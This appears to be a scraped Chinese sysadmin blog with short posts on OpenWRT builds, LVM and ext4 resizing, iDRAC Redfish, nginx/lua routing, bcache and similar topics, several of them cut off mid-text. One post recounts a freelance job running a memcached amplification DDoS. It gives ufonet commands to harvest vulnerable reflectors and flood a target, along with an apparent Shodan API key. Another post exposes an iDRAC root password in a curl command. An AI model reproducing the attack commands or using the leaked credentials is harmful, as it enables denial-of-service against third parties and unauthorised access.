I think you must have a 64 bit system to use the SDK to compile the file

翻译一下：在OpenWRT平台下编译一个SHC，并且能工作。

完全步骤如下：

How to compile SHC on LEDE:

Tested build environment:

OS: Ubuntu 14.04.5 LTS  
CPU: ARMv7 Processor rev 5 (v7l)


Before you begin, check your system is updated, i.e.

sudo apt-get update  
sudo apt-get upgrade  
sudo apt-get autoremove


Step-by-step manual:  
Note: perform all steps as regular (non-root) user. User must be in sudo group.

1. Update your sources

sudo apt-get update

2. Install nesessary packages:

sudo apt-get install g++ libncurses5-dev zlib1g-dev bison flex unzip autoconf gawk make gettext gcc binutils patch bzip2 libz-dev asciidoc subversion sphinxsearch libtool sphinx-common libssl-dev libssl0.9.8

3. Get latest LEDE source from git repository  
   We know our CPU is armv7, it belongs to arm64, so go to http://downloads.lede-project.org/releases , just download sdk.

wget http://downloads.lede-project.org/releases/17.01.4/targets/arm64/generic/lede-sdk-17.01.4-arm64_gcc-5.4.0_musl-1.1.16.Linux-x86_64.tar.xz


4. No Need to Update and install all LEDE packages  
   We just want to compile shc, not other packages , so don't update.


5. Run 'make menuconfig' (Just Save and Exit)


6. Get SHC sources to LEDE package tree  
 (we are and shc-3.8.9b.tgz is in source directory)

wget http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.9b.tgz  
mkdir -p package/shc/src  
tar xvf shc-3.8.9b.tgz -C package/shc/src --strip-components 1

7. Make ipk Makefile

vi package/shc/Makefile  
##############################################
# OpenWrt Makefile for shc program
#
#
# Most of the variables used here are defined in
# the include directives below. We just need to 
# specify a basic description of the package, 
# where to build our program, where to find 
# the source files, and where to install the 
# compiled program on the router. 
# 
# Be very careful of spacing in this file.
# Indents should be tabs, not spaces, and 
# there should be no trailing whitespace in
# lines that are not commented.
# 
##############################################

include $(TOPDIR)/rules.mk

# Name and release number of this package

PKG_NAME:=shc  
PKG_VERSION:=3.8.9b  
PKG_MAINTAINER:=Francisco, Rosales, <frosal@fi.upm.es>


# This specifies the directory where we're going to build the program.  
# The root build directory, $(BUILD_DIR), is by default the build_mipsel 
# directory in your OpenWrt SDK directory
PKG_BUILD_DIR := $(BUILD_DIR)/$(PKG_NAME)


include $(INCLUDE_DIR)/package.mk



# Specify package information for this program. 
# The variables defined here should be self explanatory.
# If you are running Kamikaze, delete the DESCRIPTION 
# variable below and uncomment the Kamikaze define
# directive for the description below
define Package/$(PKG_NAME)  
    SECTION:=utils
    CATEGORY:=Utilities
    TITLE:= shc ---- This tool generates a stripped binary executable version of the script specified at command line.
    URL:=http://www.datsi.fi.upm.es/~frosal
endef


# Uncomment portion below for Kamikaze and delete DESCRIPTION variable above
define Package/$(PKG_NAME)/description  
    shc ---- This tool generates a stripped binary executable version
        of the script specified at command line."
endef

# Specify what needs to be done to prepare for building the package.
# In our case, we need to copy the source files to the build directory.
# This is NOT the default.  The default uses the PKG_SOURCE_URL and the
# PKG_SOURCE which is not defined here to download the source from the web.
# In order to just build a simple program that we have just written, it is
# much easier to do it this way.
define Build/Prepare  
    mkdir -p $(PKG_BUILD_DIR)
    $(CP) ./src/* $(PKG_BUILD_DIR)/
endef


# We do not need to define Build/Configure or Build/Compile directives
# The defaults are appropriate for compiling a simple program such as this one

# Specify where and how to install the program. Since we only have one file, 
# the helloworld executable, install it by copying it to the /bin directory on
# the router. The $(1) variable represents the root directory on the router running 
# OpenWrt. The $(INSTALL_DIR) variable contains a command to prepare the install 
# directory if it does not already exist.  Likewise $(INSTALL_BIN) contains the 
# command to copy the binary file from its current location (in our case the build
# directory) to the install directory.
define Package/$(PKG_NAME)/install  
    $(INSTALL_DIR) $(1)/bin
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/shc $(1)/bin/
endef


# This line executes the necessary commands to compile our program.
# The above define directives specify all the information needed, but this
# line calls BuildPackage which in turn actually uses this information to
# build a package.
$(eval $(call BuildPackage,$(PKG_NAME)))


8. Compile shc ipk without errors.

make package/shc/compile V=99

9. Building process complete witout errors.  
Now we have :  
binary packages directory: source/bin/packages/aarch64_armv8-a/  
[SHC_BIN] = ./bin/packages/aarch64_armv8-a/base/shc_3.8.9b_aarch64_armv8-a.ipk

10. Copy and install SHC .ipk to LEDE device.

scp shc_3.8.9b_aarch64_armv8-a.ipk root@<LEDE device IP address or name>:/tmp/  
ssh root@<LEDE device IP address or name> #IP usually 192.168.1.1  
opkg install shc_3.8.9b_aarch64_armv8-a.ipk

11. Create test script and compile it to execute. (in LEDE shell)  
ssh root@<LEDE device IP address or name> #IP usually 192.168.1.1

vi /tmp/1.sh  
#!/bin/sh
echo "hahahaha"

shc -v -f /tmp/1.sh  
/tmp/1.sh.x

这里面有几个注意点，一个是网上有很多教程，上去就是

Freelancer任务之七memcache 放大攻击

Wed, 24 Jan 2024 10:01:11 +0800

这是一次差点蚀把米的过程啊，最后争议拿回了自己的手续费，白干了一场啊，真够倒霉的。

韩国人要反射攻击。

首先clone项目：

git clone https://github.com/epsylon/ufonet

原理很清楚，通过memcache的漏洞，memcache居然是UDP的，伪造源地址，发一堆请求到有漏洞的memchache，引起反射攻击。

一堆有漏洞的机器从哪获得呢？这个韩国人真的有Shodan API，手榴弹？他的账号，确实可以看到一堆有毛病的机器

0ptoLUtmkSJ8DbAvyZ8PevTRsyLoxEuN

安装python:

wget https://www.python.org/ftp/python/2.7.14/Python-2.7.14.tgz  
tar zxvf Python-2.7.14.tgz  
cd Python-2.7.14  
./configure --prefix=/export/servers/Python2714
make  
make install

wget -O- "https://bootstrap.pypa.io/get-pip.py" | /export/servers/Python2714/bin/python


/export/servers/Python2714/bin/pip install pycurl
/export/servers/Python2714/bin/pip install geoip
/export/servers/Python2714/bin/pip install whois
/export/servers/Python2714/bin/pip install crypto
/export/servers/Python2714/bin/pip install request

先去拿一堆漏洞机器的列表

cd ufonet  
/export/servers/Python2714/bin/python ./ufonet --sd 'botnet/dorks.txt' --sa

轰击：

/export/servers/Python2714/bin/python ./ufonet./ufonet -a http://target.com -r 10000 --threads 2000

Freelancer任务之八openvpn的DNS分发

Wed, 24 Jan 2024 10:00:11 +0800

雇主给了个难题，他搭建了一个openvpn，并且有两个DNS Server，一个是带AD广告过滤的，一个是不带的。这两个dns服务在同一个机器上，端口不同。

他想让在openvpn的client端配置一下，让客户使用不同的dns server。

找了半天，没有能修改dns port的配置。

于是曲线救国。

方案如下：客户端固定IP，根据不同的来源IP来分发到不同的DNS去。

本来是想用V2EX一个哥们自己写的glider，弄了半天，不知道怎么配，不过功能肯定是能实现的。最差就是自己改go代码了。

快速起见，用了另外一个哥们的dns-dispatcher，就是dns分发，glider是彻底的各种代理转发，链条代理，非常强悍。

克隆dns-dispatcher代码

git clone https://github.com/cathuhoo/dns-dispatcher

编译：

make

配置，我们只配置了udp的53端口，标准的DNS端口

vi dns-dispatch.config  
; This is a test configuration file

[main]
file_resolvers = resolvers.txt  
file_policy = policy.txt  
file_log = /var/log/dns-dispatch.log  
file_pid = /var/run/dns-dispatch.pid  
num_threads = 3  
service_port = 53  
#tcpservice_port = 53
daemonize = yes

配置策略：

vi policy.txt  
ip2 | * | Forward:bind2  
ip1 | * | Forward:bind1

配置ip1和ip2

vi ip1  
10.10.1.2

vi ip2  
10.10.1.3

配置bind1和bind2，两个dns在10.10.1.1上，端口分别是5301和5302

vi resolvers.txt  
bind1|10.10.1.1|5301  
bind2|10.10.1.1|5302

运行：

sudo ./dns-dispatch -c dns-dispatch.config

OK，搞定，所有的配置都在文件里，还有别的用法，大家用的话自己看文档吧。

lxc下如何让usb设备pass through直接到达虚机

Wed, 24 Jan 2024 09:05:11 +0800

测试的同事要在测试机上安装android studio，adb直接调试手机。

这下麻烦了，测试机实际是个lxc的容器，需要把插在宿主机usb上的手机直接过给容器。

说下做法：首先在宿主机上执行lsusb，查出手机USB：

[root@localhost]# lsusb
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub  
Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub  
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub  
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub  
Bus 001 Device 014: ID 04e8:6860 Samsung Electronics Co., Ltd GT-I9100 Phone [Galaxy S II], GT-I9300 Phone [Galaxy S III], GT-P7500 [Galaxy Tab 10.1] , GT-I9500 [Galaxy S 4]  
Bus 001 Device 004: ID 0624:0248 Avocent Corp. Virtual Hub  
Bus 001 Device 005: ID 0624:0249 Avocent Corp. Virtual Keyboard/Mouse

看最长的带GT-I9100那一行，ID 04e8:6860，VendorID:ProdID，说明Vendor=04e8 ProdID=6860，记下来。

Dell的idrac redfish初探

Wed, 24 Jan 2024 09:04:11 +0800

各大主板厂商纷纷支持下一代带外管理标准redfish。

其实Dell的idrac管理做的是相当好的，那么来看看对redfish的支持吧。

先看看v1都有什么命令

curl -s  "https://10.16.24.15/redfish/v1" -k -u root:xxxxxxxx | jq .

结果如下：

{
  "@odata.context": "/redfish/v1/$metadata#ServiceRoot.ServiceRoot",
  "@odata.id": "/redfish/v1",
  "@odata.type": "#ServiceRoot.v1_1_0.ServiceRoot",
  "AccountService": {
    "@odata.id": "/redfish/v1/Managers/iDRAC.Embedded.1/AccountService"
  },
  "Chassis": {
    "@odata.id": "/redfish/v1/Chassis"
  },
  "Description": "Root Service",
  "EventService": {
    "@odata.id": "/redfish/v1/EventService"
  },
  "Id": "RootService",
  "JsonSchemas": {
    "@odata.id": "/redfish/v1/JSONSchemas"
  },
  "Links": {
    "Sessions": {
      "@odata.id": "/redfish/v1/Sessions"
    }
  },
  "Managers": {
    "@odata.id": "/redfish/v1/Managers"
  },
  "Name": "Root Service",
  "Oem": {
    "Dell": {
      "@odata.type": "#DellServiceRoot.v1_0_0.ServiceRootSummary",
      "IsBranded": 0,
      "ManagerMACAddress": "50:9A:4C:82:B9:3F",
      "ServiceTag": "7Q9N8P2"
    }
  },
  "RedfishVersion": "1.0.2",
  "Registries": {
    "@odata.id": "/redfish/v1/Registries"
  },
  "SessionService": {
    "@odata.id": "/redfish/v1/SessionService"
  },
  "Systems": {
    "@odata.id": "/redfish/v1/Systems"
  },
  "Tasks": {
    "@odata.id": "/redfish/v1/TaskService"
  },
  "UpdateService": {
    "@odata.id": "/redfish/v1/UpdateService"
  }
}

好多服务撒，挑其中一个分支看看：

curl -s  "https://10.16.24.15/redfish/v1/Chassis" -k -u root:alibaba | jq .  

结果如下：

{
  "@odata.context": "/redfish/v1/$metadata#ChassisCollection.ChassisCollection",
  "@odata.id": "/redfish/v1/Chassis/",
  "@odata.type": "#ChassisCollection.ChassisCollection",
  "Description": "Collection of Chassis",
  "Members": [
    {
      "@odata.id": "/redfish/v1/Chassis/System.Embedded.1"
    },
    {
      "@odata.id": "/redfish/v1/Chassis/Enclosure.Internal.0-1:RAID.Integrated.1-1"
    }
  ],
  "Members@odata.count": 2,
  "Name": "Chassis Collection"
}

再试试Session的管理：

LVM调整分区大小

Wed, 24 Jan 2024 09:03:11 +0800

系统是xfs文件格式。/root空间不够了。必须对空间进行调整，悲剧的是xfs只能增加空间，不能缩减空间，必须曲线救国了。

查看一下，缺省有两个lvm的分区

/dev/mapper/centos-root 40G
/dev/mapper/centos-home 20G

只能减小home分区，再增大root分区了。

先备份home分区，并缩小到2G：

# yum -y install xfsdump
# xfsdump -f /home.xfsdump /home
please enter label for this dump session (timeout in 300 sec)  
-> home
please enter label for media in drive 0 (timeout in 300 sec)  
-> home
# umount /home
# lvreduce -L 2G /dev/mapper/centos-home
Do you really want to reduce home? [y/n]: y

然后扩充root分区：

# lvextend -L +18G /dev/mapper/centos-root
# xfs_growfs /dev/mapper/centos-root

最后恢复home分区

# mkfs.xfs -f /dev/mapper/centos-home
# mount /home
# xfsrestore -f /home.xfsdump /home

搞定

F5-bigip的SSL每秒传输(TPS)限制

Wed, 24 Jan 2024 09:02:11 +0800

公司用到了SSL的泛域名证书，网站整体套上了HTTPS，然后最前面是F5做SSL的卸载。

麻烦也来了，F5的SSL Transactions Per Second (TPS) 是有license的，首先检查一下吧

tmsh show sys license detail | grep -i perf_SSL_total_TPS  
perf_SSL_total_TPS [500]

显示是500

还得查查有几个核心

tmsh show sys tmm-info global | grep -i 'TMM count'  
TMM Count               4

4个核心

那么每秒SSL的TPS限制就是 500X4=2000

超过2000就得去增加license了。

两台不同系统上Jenkins的联动

Wed, 24 Jan 2024 09:02:11 +0800

场景是这样的，有两台jenkins。一台是正常安装在linux上的，另外一台是在macos上的。

在macos上的这台，装了有xcode和android studio，负责ipa和apk的自动打包。

而在linux上jenkins则是主jenkins，负责很多项目的打包。

这样两台的目标就都很明确，麻烦的是需要来回登录来构建项目，那么有没有方法从第一台上直接调用第二台的项目进行构建呢？

当然可以，直接发个带Token的url到第二台就可以。

这个不是本文的重点，本文重点，源码是Git的build过程，jenkins装了Git parameter插件后支持选tag进行building。

这样如果两台都这么来一下，实际是在两台都git check了一下，然后开始build，这对于第一台来说，毫无必要。

第一台主jenkins的任务就是看看git项目中都有什么tag，然后把tag发链接给第二台即可，没必要check的。

而第二台也不去看tag，直接从git中checkout出第一台传过来的tag版本，进行构造，这样最省资源。

那么，怎么让第一台只查看tag呢？

万能的groovy大法：

def gettags = "git ls-remote -t git@git.coding.net:doabc/app-abc.git".execute()  
def tags = []  
def t1 = []  
gettags.text.eachLine {tags.add(it)}  
for(i in tags)  
    t1.add(i.split()[1].replaceAll('\\^\\{\\}', '').replaceAll('refs/tags/', ''))
t1 = t1.unique()  
return t1

注意上面，groovy和git的证书需要都事先配好。

配置postfix转发局域网邮件以及邮件黑洞

Wed, 24 Jan 2024 09:01:11 +0800

配置postfix允许自由转发内网的邮件，就改一个地方即可，添加允许发送的内网网段：

vi /etc/postfix/main.cf  
...
mynetworks = 127.0.0.0/8, 172.16.0.0/16  
...

配置黑洞，所有邮件都接受，然后drop丢掉

relayhost =  
relay_transport = relay  
relay_domains = static:ALL  
smtpd_end_of_data_restrictions = check_client_access static:discard

当然，也可以把这些邮件都给送到amavis去，训练它识别垃圾邮件

测试邮件发送的命令：

echo "body of your email" | mail -s "This is a Subject os version" -r "abc@kindlefan.xin" test@abc.com

注意：CentOS和Ubuntu默认居然都没有mail这条命令的话

yum install mailx  
apt-get install bsd-mailx

Ext4分区的缩小

Wed, 24 Jan 2024 09:00:11 +0800

缩小/ 的ext4分区步骤如下：

首先查看分区是什么文件类型

file -sL /dev/sd*  
/dev/sda:  x86 boot sector; GRand Unified Bootloader, stage1 version 0x3, boot drive 0x80, 1st sector stage2 0x2044148, GRUB version 0.94; partition 1: ID=0x82, starthead 32, startsector 2048, 8388608 sectors; partition 2: ID=0x83, active, starthead 75, startsector 8390656, 411039744 sectors, code offset 0x48
/dev/sda1: Linux/i386 swap file (new style) 1 (4K pages) size 1048575 pages
/dev/sda2: Linux rev 1.0 ext4 filesystem data (needs journal recovery) (extents) (large files) (huge files)

能看出来sda1是交换分区，那么要缩的分区是/dev/sda2，文件类型是ext4

ok，先确保虚机内/分区只占到5G，然后最好重新拷贝一下qcow2文件，把文件到弄到前面5G中。

然后修改一下kvm虚机配置，先加个iso进入rescue模式

virsh edit xxx  
把boot顺序从hd改成cdrom

...
    <boot dev='hd'/>
    <boot dev='cdrom'/>
...
    <disk type='file' device='cdrom'>
      <driver name='qemu' type='raw'/>
      <source file='/export/kvm/iso/CentOS-7-x86_64-NetInstall-1708.iso'/>
      <target dev='hdc' bus='ide'/>
      <readonly/>
      <address type='drive' controller='0' bus='1' target='0' unit='0'/>
    </disk>
...

系统启动，进入cdrom安装，选择Troubleshooting

CentOS下做无线AP热点

Tue, 23 Jan 2024 15:20:11 +0800

自己的笔记本是装了个CentOS的系统，然后上面跑了个Vmware，又装了Win10，然后接两个屏幕，小的是linux跑gnome，大的是Win10屏幕，这样干活的。

路由更是混乱无比，网卡有tun0 / wlan0 / eth0 ，没有弄br0，这是大前提。如果弄br0的话，得改一堆东西。

这样的话wlan0无线网卡不联网就空闲了，于是想把无线网卡做AP共享出来，给手机用，做法真是比较复杂，弄了2天才弄好，网上的教程都是莫名啊，不太适合CentOS。

其实就是安装hostpapd，把做法记录一下：

首先不想改动已有的网络，那么桥接这条路就彻底断了，只能在无线网卡上做DHCP+NAT一条路了。

先检查网络：

lspci -k | grep -A 3 -i "network"  
03:00.0 Network controller: Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)  
    Subsystem: Lite-On Communications Inc Device 0662
    Kernel driver in use: ath9k
    Kernel modules: ath9k

看到自己的网卡驱动是ath9k，再看看模块

modinfo ath9k | grep 'depend'  
depends:        mac80211,ath9k_hw,ath9k_common,cfg80211,ath

mac80211, cfg80211看到这个就放心了，driver就是nl80211

再确认一下，里面有* AP 字样这样就没问题了：

iw list|grep -A8 "Supported interface modes:"  
    Supported interface modes:
         * IBSS
         * managed
         * AP
         * AP/VLAN
         * WDS
         * monitor
         * P2P-client
         * P2P-GO

首先看看自己的无线网卡物理地址，30:10:B3:6A:22:AA记下来

给老旧的CentOS系统设置yum源

Tue, 23 Jan 2024 15:18:11 +0800

前同事N年前买了个linode的主机，一直用，系统是CentOS 5.6 x86_64的。

现在想在上面装个软件，结果yum失效了，重装系统不可能，只能找个旧的yum源设置一下了。

源： http://vault.centos.org ，找到子目录

cat /etc/yum.repos.d/base.repo  
[base]
name=base  
baseurl=http://vault.centos.org/5.6/os/x86_64/  
gpgcheck=0  
enabled=1

最后清掉一下缓存就可以了

yum clean all

MySQL的备份网络优化

Tue, 23 Jan 2024 15:17:11 +0800

公司的MySQL服务器定时在凌晨4:00准时开始备份。

结果是会触发报警，net流量增高，cpu增高，磁盘io增高，这个是属于正常的，如何避免触发警报呢？

有4种方法：

一、优化io和cpu，让备份写磁盘的速度降下来，平稳的写入

nice -n 10 ionice -c2 -n 7 /usr/bin/mysqldump -S /var/lib/mysql/mysql.sock -uroot --single-transaction --quick\  
  --triggers -R --hex-blob --log-error=$db.log --databases $db > $basedir/$backdir/$db.sql

二、加快备份速度，多线程，让报警触发之前就结束备份

COMMIT_COUNT=0  
COMMIT_LIMIT=10  
for DB in `cat ListOfDatabases.txt`  
do  
    mysqldump -h... -u... -p... --hex-blob --routines --triggers ${DB} | gzip > ${DB}.sql.gz &
    (( COMMIT_COUNT++ ))
    if [ ${COMMIT_COUNT} -eq ${COMMIT_LIMIT} ]
    then
        COMMIT_COUNT=0
        wait
    fi
done  
if [ ${COMMIT_COUNT} -gt 0 ]  
then  
    wait
fi

三、用cstream来控制流速

-t = throughput in bytes/sec 1000000是一兆，每秒只允许写一兆

mysqldump --single-transaction --quick -u <USER> -p<PASS> <Database> | cstream -t 1000000 > backup.sql

四、用pv来控制流速

–rate-limit Limit the transfer to a maximum of RATE bytes per second. 单位可以是：1k 1m 1g 1t

Dell R730XD服务器如何确定是哪块硬盘坏了

Tue, 23 Jan 2024 14:16:11 +0800

公司的Dell R720XD服务器是用来做Hadoop大数据的。

其中有两块300G的硬盘做Raid1，作为系统盘。

剩下3块硬盘是4TB，都是独立的，没有做任何Raid，单独做数据盘。

但是，这三块硬盘都被 Dell H330 的Raid控制器控制，于是3块硬盘呢，其实每个都是个单独的 Raid0

去机房巡检的过程中，发现一个硬盘亮黄灯。

从idrac口可以看到坏了个硬盘

问题来了，三块啊，到底是哪块坏了呢？

注意上图，修订是：GS0F，序列号是：Z1Z83DXH

我了个擦，所有硬盘都被h330接管，所以lspci什么也看不出来，只能看出是个lsi的MegaRAID！！！

lspci|grep Mega  
02:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS-3 3008 [Fury] (rev 02)

没办法，先去下个MegaCLI吧: MegaCli.tgz

cd /opt/MegaRAID
tar zxvf MegaCli.tgz

再下个python, mega-status.py

chmod 755 mega-status.py  
./mega-status.py

注意这个脚本是引用了64位的megacli

def_megaclipath = "/opt/MegaRAID/MegaCli/MegaCli64"

看运行结果啊

这里把修订和序列号连在一起了： GS0FZ1Z83DXH 对应c0u2p0，对应上面的c0u2，对应右边的/dev/sdc

所以是/dev/sdc坏掉了。

搞定。

这样就可以先卸载/dev/sdc，然后换盘了。

小微vps下运行nodejs需要注意的gc

Tue, 23 Jan 2024 10:16:11 +0800

NodeJS默认64位机器GC是有1.4G内存，所以，如果是512或者128兆内存的小vps，立时就不灵了。

需要加参数

--max_old_space_size=128 --optimize_for_size

一句话搞定。

在linux下用SSD盘来加速HDD硬盘

Tue, 23 Jan 2024 10:15:11 +0800

如上图，数据写到硬盘有两种方式，一种是Bcache用SSD做缓冲，加速最后的硬盘读写。另一种是直接读写硬盘，bypass模式。我们用的是第一种Bcache。

安装：

$ yum install bcache-tools

/dev/sda是硬盘，/dev/sdb是ssd，首先把两个盘的数据都擦干净了

$ wipefs -a /dev/sda1 ; wipefs -a /dev/sdb1

格式化hdd和ssd，注意参数不同

$ make-bcache -B /dev/sda1 ; make-bcache -C /dev/sdb1

挂接bcache0

$ echo C_Set_UUID_VALUE > /sys/block/bcache0/bcache/attach
$ mkfs.ext4 /dev/bcache0
$ mount /dev/bcache0 /mnt

修改硬盘写的方法，改成writeback(原来是writethrough)

1.临时生效的方法（重启失效）  
$ echo writeback > /sys/block/bcache0/bcache/cache_mode

2.永久生效的方法  
$ echo /dev/sda1 > /sys/fs/bcache/register

最后查看一下状态：

$ bcache-status -s

如何禁止libvirtd自带的dnsmasq启动

Tue, 23 Jan 2024 10:14:11 +0800

服务器要跑dnsmasq，同时机器还跑着kvm，和libvirtd自带dnsmasq的冲突了，需要禁掉libvirtd的。

方法很简单，如下：

virsh net-list

Name                 State      Autostart     Persistent  
--------------------------------------------------
default              active     yes           yes

virsh net-autostart --disable default  
virsh net-destroy default

搞定.

Nginx下lua根据客户端ip进行分发

Tue, 23 Jan 2024 10:13:11 +0800

公司的线上环境分为预发布和正式两个部分。

其实两个部分是公用一个Nginx前端的。

这样怎么分发呢？

用lua即可，如果是公司来的某个固定ip，则分发到预发布，如果不是，就走正式环境。这样测试就简单多了，运维统一设置一个无线wifi，接入这个wifi就走某个固定ip，到的全是预发布环境，不用这个wifi就走正式环境，非常方便测试。

用lua进行分发：

location / {  
    content_by_lua '
            myIP = ngx.req.get_headers()["X-Real-IP"]
            if myIP == nil then
                myIP = ngx.req.get_headers()["x_forwarded_for"]
            end
            if myIP == nil then
                myIP = ngx.var.remote_addr
            end
            if myIP == "公司出口IP" then
                ngx.exec("@client")
            else
                ngx.exec("@client_test")
            end
        ';
} 

location @client{  
    proxy_next_upstream     error timeout;
    proxy_redirect          off;
    proxy_set_header        Host $host;
    #proxy_set_header        X-Real-IP $remote_addr;
    proxy_set_header        X-Real-IP $http_x_forwarded_for;
    proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    client_max_body_size    100m;
    client_body_buffer_size 256k;
    proxy_connect_timeout   180;
    proxy_send_timeout      180;
    proxy_read_timeout      180;
    proxy_buffer_size       8k;
    proxy_buffers           8 64k;
    proxy_busy_buffers_size 128k;
    proxy_temp_file_write_size 128k;
    proxy_pass http://client;

}
location @client_test{  
    proxy_next_upstream     error timeout;
    proxy_redirect          off;
    proxy_set_header        Host $host;
    #proxy_set_header        X-Real-IP $remote_addr;
    proxy_set_header        X-Real-IP $http_x_forwarded_for;
    proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    client_max_body_size    100m;
    client_body_buffer_size 256k;
    proxy_connect_timeout   180;
    proxy_send_timeout      180;
    proxy_read_timeout      180;
    proxy_buffer_size       8k;
    proxy_buffers           8 64k;
    proxy_busy_buffers_size 128k;
    proxy_temp_file_write_size 128k;
    proxy_pass http://client_test;
}

lua与redis结合应用于nginx的动态upstream

Tue, 23 Jan 2024 10:12:11 +0800

技术要求很简明：

nginx分发请求的时候，upstream是由lua从redis中读取配置动态生成的，这样便于用程序动态修改。

装好nginx+lua，过程不表。把lua redis的模块配到路径中

wget https://raw.github.com/nrk/redis-lua/version-2.0/src/redis.lua

nginx配置如下：

server {  
  listen 80;
  server_name _;
  server_name_in_redirect off;
  port_in_redirect off;
  root /root/html;

  location / {
    set $upstream "";
    rewrite_by_lua '
      -- load global route cache into current request scope
      -- by default vars are not shared between requests
      local routes = _G.routes

      -- setup routes cache if empty
      if routes == nil then
        routes = {}
        ngx.log(ngx.ALERT, "Route cache is empty.")
      end

      -- try cached route first
      local route = routes[ngx.var.http_host]
      if route == nil then
        local redis  = require "redis"
        local client = redis.connect("localhost", 6379)
        route        = client:get(ngx.var.http_host)
      end

      -- fallback to redis for lookups
      if route ~= nil then
        ngx.var.upstream = route
        routes[ngx.var.http_host] = route
        _G.routes = routes
      else
        ngx.exit(ngx.HTTP_NOT_FOUND)
      end
    ';

    proxy_buffering             off;
    proxy_set_header            Host $host;
    proxy_set_header            X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_redirect              off;
    proxy_connect_timeout       10;
    proxy_send_timeout          30;
    proxy_read_timeout          30;
    proxy_pass                  http://$upstream;
  }
}

送进redis一些数据

kvm的虚机中如何在线挂接一块新网卡

Tue, 23 Jan 2024 10:11:11 +0800

比较古怪的需求，公司拉了根专线到机房。

而使用专线的机器是一台kvm虚机，实体机有自己的路由，实体机的前两个网卡做了双网卡bonding。

那虚机就只能使用实机的第三块网卡连出去了，而且必须制定host的路由，这里给的子网掩码是255.255.255.252，只有2个ip可以用，所以只能虚机有ip，实机根本不能配ip地址！！！

首先把实机dell r720的第三块网卡em3改一下，连接到网桥br1

cat /etc/sysconfig/network-scripts/ifcfg-em3  
DEVICE=em3  
HWADDR=XX:XX:XX:XX:XX:XX  
TYPE=Ethernet  
UUID=6b68220d-d5ed-496f-b8d1-4c6d9cbb1234  
ONBOOT=yes  
NM_CONTROLLED=no  
BRIDGE=br1

再做个网桥br1

cat /etc/sysconfig/network-scripts/ifcfg-br1  
DEVICE=br1  
BOOTPROTO=none  
ONBOOT=yes  
TYPE=Bridge

注意，这个物理机网卡和网桥都没有IP地址，实在是可怜，ip不够用

然后启动他们：

ifup em3  
ifup br1

虚机挂接新设备：

virsh attach-interface --domain vis-16-13-28 \  
        --type bridge \
        --source br1 --model virtio \
        --mac f0:00:ac:30:2d:1d --config

然后ssh登录虚机，配置好虚机中eth1的ip/mask，不要配gateway啊

最后直接加主机路由：

route add -host 172.17.11.182 dev eth1

ping一下对端172.17.11.182，通就搞定了。

mvn build的时候控制日志输出

Tue, 23 Jan 2024 10:10:11 +0800

最近在弄jenkins的自动打包部署

出现个问题，项目是用的mvn，打包的时候，如果是在控制台下还好。

如果是在jenkins下，看console output，往中心仓库artifactory提交包的时候，会显示下面一堆：

Uploaded: http://xxx:8081/artifactory/libs-release-local/abc/maven-metadata.xml (315 B at 17.1 KB/sec)  
Uploading: http://xxx:8081/artifactory/libs-release-local/abc/d/admin-9.1.war  
20000/21969 KB  
20002/21969 KB  
20004/21969 KB  
20006/21969 KB  
20008/21969 KB  
20010/21969 KB  
20012/21969 KB  
20014/21969 KB  
20016/21969 KB  
20018/21969 KB  
20020/21969 KB  
20022/21969 KB  
20024/21969 KB  
20026/21969 KB  
20028/21969 KB  
20030/21969 KB  
20032/21969 KB  
20034/21969 KB  
20036/21969 KB  
20038/21969 KB  
20040/21969 KB  
20042/21969 KB  
20044/21969 KB  
......

长度无比长，垃圾东西。如何将之屏蔽呢？

首先去修改mvn的日志级别，缺省是INFO，提高到WARN：

MAVEN_OPTS=-Dorg.slf4j.simpleLogger.defaultLogLevel=warn mvn -ff  clean install

我去，INFO是都没了，但是这个居然还在！！！！

查了下java的日志优先级：

ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF

上面只有FATAL和OFF了，说明这个是个副产品，不是mvn控制的，而是上传的时候产生的。

syslog级别详解

Tue, 23 Jan 2024 09:10:11 +0800

首先是：

[facility].[priority]

facility表示设备、设施，特别装置：

auth      # 认证相关的  
authpriv  # 权限,授权相关的  
cron      # 任务计划相关的  
daemon    # 守护进程相关的  
kern      # 内核相关的  
lpr       # 打印相关的  
mail      # 邮件相关的  
mark      # 标记相关的  
news      # 新闻相关的  
security  # 安全相关的,与auth 类似  
syslog    # syslog自己的  
user      # 用户相关的  
uucp      # unix to unix cp 相关的  
local0 到 local7 # 用户自定义使用  
*         # *表示所有的facility

一定要注意上面的，local0 到 local7 # 用户自定义使用

priority表示优先权，日志优先权(log level),一般有以下几种优先权(从低到高)：

debug           # 程序或系统的调试信息  
info            # 一般信息,  
notice          # 不影响正常功能,需要注意的消息  
warning/warn    # 可能影响系统功能,需要提醒用户的重要事件  
err/error       # 错误信息  
crit            # 比较严重的  
alert           # 必须马上处理的  
emerg/oanic     # 会导致系统不可用的  
*               # 表示所有的日志级别
none            # 跟* 相反,表示啥也没有

syslog的日志优先权默认是info，这时候用syslog为debug(最低日志优先权)来写日志，syslog服务是不会写入日志的。

Xpath金手指

Mon, 22 Jan 2024 09:10:11 +0800

最近在搞puppeteer的自动化，有很多地方需要用到CSS Selector，但是某些地方又是用Xpath方便，金手指放一下，备查：

Test queries in the Xpath test bed:

Xpath test bed (whitebeam.org)

Browser console

$x("//div")

Works in Firefox and Chrome.

#Selectors

Descendant selectors

`h1`	`//h1`
`div p`	`//div//p
`ul > li`	`//ul/li
`ul > li > a`	`//ul/li/a`
`div > *`	`//div/*`
`:root`	`/
`:root > body`	`/body`

Attribute selectors

`#id`	`//*[@id="id"]`
`.class`	`//[@class="class"]` …kinda*
`input[type="submit"]`	`//input[@type="submit"]`
`a#abc[for="xyz"]`	`//a[@id=“abc”][@for=“xyz”]
`a[rel]`	`//a[@rel]`
`a[href^='/']`	`//a[starts-with(@href, ‘/’)]
`a[href$='pdf']`	`//a[ends-with(@href, '.pdf')]`
`a[href*='://']`	`//a[contains(@href, '://')]`
`a[rel~='help']`	`//a[contains(@rel, 'help')]` …kinda
